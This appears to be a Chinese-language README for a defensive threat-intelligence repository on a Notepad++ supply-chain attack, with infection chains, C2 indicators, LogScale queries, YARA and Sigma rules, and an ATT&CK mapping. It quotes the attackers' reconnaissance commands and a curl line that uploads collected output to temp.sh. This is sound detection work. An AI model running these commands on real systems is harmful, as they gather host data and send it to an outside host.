用于Notepad++供应链攻击(CVE-2025-15556)的IoC和检测规则——Lotus Blossom APT,2025年6月至12月。包含Falcon LogScale查询、YARA/Sigma规则以及MITRE ATT&CK映射。
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | 2025年6月 – 2025年12月
本仓库收录了与 Notepad++ 供应链攻击(2026年2月2日披露)相关的 全面、整合的入侵指标(IoC)集合。
在 2025年6月至12月 期间,一个中国背景的国家资助威胁行为者入侵了 Notepad++ 的托管基础设施,劫持了内置更新机制(WinGUp),有选择性地向目标用户投递了被植入木马的安装程序。该攻击利用了更新程序(v8.8.9 之前版本)缺乏加密验证的漏洞,实现了自定义后门、Cobalt Strike Beacon 和 Metasploit 载荷的分发。
| CVE | CVE-2025-15556 — 无完整性检查的代码下载 |
| 威胁行为者 | Lotus Blossom(Bilbug,Raspberry Typhoon,Thrip)/ Zirconium(Violet Typhoon) |
| 活跃期 | 2025年6月 – 2025年12月2日 |
| 攻击向量 | 通过 WinGUp 自动更新供应链投毒 |
| 目标 | 政府、电信、金融服务业、IT 提供商(菲律宾、越南、萨尔瓦多、澳大利亚、东亚) |
| 恶意软件 | Chrysalis 后门(自定义)、Cobalt Strike Beacon、Metasploit Meterpreter |
| 修复版本 | Notepad++ v8.8.9+(证书验证)/ v8.9.1+(XMLDSig 验证) |
Kaspersky GReAT 识别出 三条不同的感染链,大约每月轮换一次以逃避检测:
GUP.exe → update.exe (NSIS) → ProShow.exe (合法) → 通过 "load" 文件利用漏洞
→ Metasploit 下载器 → Cobalt Strike Beacon
whoami && tasklist → 通过 temp.sh 外传%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (Lua 解释器) → alien.ini (编译后的 Lua)
→ 通过 EnumWindowStationsW 执行 shellcode → Metasploit 下载器 → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (合法) → log.dll (侧加载)
→ 解密 "BluetoothService" shellcode → Chrysalis 后门
%appdata%\Bluetooth\C:\ProgramData\USOShared\ 中发现相关联的 Cobalt Strike Beacon ┌─────────────────────────────────────────────────────────┐
│ 入侵时间线 │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ 25年7月 │ 25年8月 │ 25年9月 │ 25年10月│ 25年11月│25年12月│
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
链 #1 (ProShow) │████████████████████ │
链 #2 (Lua) │ █████████████████████████████ │
链 #3 (DLL 侧加载) │ ██████████████ │
基础设施访问 │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| 文件 | 描述 |
|---|---|
notepadpp_supply_chain_iocs.csv | 完整 IoC 数据集(105 个指标),含 MITRE ATT&CK 映射 |
行为类(与 IoC 无关,最高价值):
gup.exe 生成除合法签名 Notepad++ 安装程序外的任何子进程gup.exe 连接到非 notepad-plus-plus.org、github.com、release-assets.githubusercontent.com 的域名/IP%appdata%\ProShow\、%appdata%\Adobe\Scripts\、%appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\(NSIS 运行时——出现在所有链中)网络类(高置信度):
cdncheck.it.com、safe-dns.it.com、self-dns.it.com、api.skycloudcenter.com、api.wiresguard.comtemp.sh(51.91.79.17)——尤其伴随通过 curl 上传文件temp.sh URL45.76.155.202、45.32.144.255、95.179.213.0、45.77.31.210侦查命令(后利用阶段):
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
// 恶意 IP
RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
| iocType := "Malicious IP" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
// 恶意域名
DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
| iocType := "Malicious Domain" | iocValue := DomainName | riskScore := "HIGH";
// 可疑文件名
ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
| iocType := "Suspicious Filename" | iocValue := ImageFileName | riskScore := "MEDIUM";
// 可疑 DLL
ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
| iocType := "Suspicious DLL" | iocValue := ImageFileName | riskScore := "MEDIUM";
// 特定链的 artifacts
ImageFileName=/\\(alien\.ini|load)$/i
| iocType := "Chain Artifact" | iocValue := ImageFileName | riskScore := "HIGH";
* | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)
rule Notepadpp_SupplyChain_MaliciousUpdater {
meta:
description = "检测来自 Notepad++ 供应链攻击的恶意 NSIS 安装程序"
author = "Renato Z3r0 ed i miei sorcini"
date = "2026-02"
reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
tlp = "WHITE"
strings:
$nsis = "Nullsoft.NSIS" ascii
$recon1 = "whoami" ascii nocase
$recon2 = "tasklist" ascii nocase
$recon3 = "systeminfo" ascii nocase
$recon4 = "netstat -ano" ascii nocase
$exfil = "temp.sh/upload" ascii nocase
$curl = "curl" ascii nocase
$dir1 = "\\ProShow\\" ascii nocase
$dir2 = "\\Adobe\\Scripts\\" ascii nocase
$dir3 = "\\Bluetooth\\" ascii nocase
condition:
uint16(0) == 0x5A4D and
$nsis and
(2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
1 of ($dir*)
}
title: Notepad++ GUP.exe 可疑子进程
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: 检测 GUP.exe(Notepad++ 更新程序)生成可疑子进程,指示供应链攻击
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.initial_access
- attack.t1195.002
- cve.2025.15556
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\gup.exe'
filter_legitimate:
Image|endswith:
- '\npp.Installer.x64.exe'
- '\npp.Installer.exe'
condition: selection_parent and not filter_legitimate
falsepositives:
- 非标准命名的合法 Notepad++ 安装程序
level: high
title: 通过 temp.sh 外传系统侦查数据
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: 检测系统侦查后上传数据至 temp.sh,如 Notepad++ 供应链攻击中观察到的行为
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
tags:
- attack.exfiltration
- attack.t1567
- attack.discovery
- attack.t1082
logsource:
category: process_creation
product: windows
detection:
selection_curl:
CommandLine|contains:
- 'temp.sh/upload'
- 'temp.sh'
Image|endswith: '\curl.exe'
condition: selection_curl
falsepositives:
- 合法使用 temp.sh 文件共享服务(企业环境中罕见)
level: high
title: Notepad++ 供应链 C2 域名解析
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: 检测与 Notepad++ 供应链攻击相关的 C2 域名 DNS 解析
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'cdncheck.it.com'
- 'safe-dns.it.com'
- 'self-dns.it.com'
- 'api.skycloudcenter.com'
- 'api.wiresguard.com'
condition: selection
falsepositives:
- 在企业环境中极不可能
level: critical
gup.exe 生成意外子进程的行为%appdata%\ProShow\、%appdata%\Adobe\Scripts\、%appdata%\Bluetooth\)| 日期 | 变更 |
|---|---|
| 2026-02-09 | 初始发布 — 整合自 Kaspersky、Rapid7、CrowdStrike、Tenable 的 105 个 IoC |
本仓库基于 MIT 许可证 提供。IoC 从公开来源汇总,仅用于防御目的。
欢迎贡献。如果您有其他 IoC、检测规则或修正:
免责声明:本仓库仅用于防御性网络安全目的。IoC 和检测规则按“原样”提供,以帮助组织评估其在此次供应链入侵中的暴露情况。
| 列 | 描述 |
|---|
ioc_type | 类型:ip、domain、url、sha1、sha256、filepath、filename、useragent、behavior、cve、attribution、compromise_window |
ioc_value | 指标值 |
chain | 感染链(1、2、3、1/2、2/3、all、n/a) |
context | 对该 IoC 代表的描述 |
source | 情报来源(Kaspersky、Rapid7、CrowdStrike、Tenable、Kevin Beaumont) |
risk | 严重性(CRITICAL、HIGH、MEDIUM、LOW、INFO) |
mitre_technique | MITRE ATT&CK 技术 ID |
| 战术 | 技术 | ID | 在该行动中的使用 |
|---|
| 初始访问 | 供应链投毒:投毒软件供应链 | T1195.002 | 劫持 WinGUp 更新机制 |
| 执行 | 命令和脚本解释器:Windows 命令 Shell | T1059.003 | 通过 cmd.exe 进行侦查 |
| 执行 | 命令和脚本解释器:Python/Lua | T1059.006 | 链 #2 Lua 解释器 |
| 执行 | 利用客户端执行 | T1203 | 链 #1 ProShow 漏洞 |
| 执行 | 原生 API | T1106 | EnumWindowStationsW 执行 shellcode |
| 持久化 | 劫持执行流:DLL 侧加载 | T1574.002 | 链 #3 log.dll 侧加载 |
| 防御逃逸 | 混淆文件或信息 | T1027 | 加密 shellcode,XOR 密钥 "CRAZY" |
| 防御逃逸 | 伪装:匹配合法名称 | T1036.005 | BluetoothService.exe、update.exe、AutoUpdater.exe |
| 发现 | 系统信息发现 | T1082 | whoami、systeminfo、tasklist、netstat |
| 收集 | 数据暂存:本地数据暂存 | T1074.001 | 侦查输出保存为 .txt 文件 |
| 命令与控制 | 应用层协议:Web 协议 | T1071.001 | 通过 Cobalt Strike、Chrysalis 的 HTTPS C2 |
| 命令与控制 | 加密信道 | T1573 | CS Beacon 加密配置 |
| 命令与控制 | 工具传递 | T1105 | Metasploit 下载器获取 CS Beacon |
| 外传 | 通过 Web 服务外传 | T1567 | 上传至 temp.sh |
| 来源 | 链接 |
|---|
| Kaspersky GReAT — 未被注意的执行链与新 IoC | securelist.com |
| Rapid7 — Chrysalis 后门:深入了解 Lotus Blossom 的工具包 | rapid7.com |
| Notepad++ 官方披露 — 被劫持事件信息更新 | notepad-plus-plus.org |
| Kevin Beaumont — 初始披露与归因 | DoublePulsar |
| Tenable — 关于 Notepad++ 供应链入侵的常见问题解答 | tenable.com |
| Orca Security — 更新劫持分析与修复 | orca.security |
| CSO Online — 中国 APT 实施的复杂供应链攻击 | csoonline.com |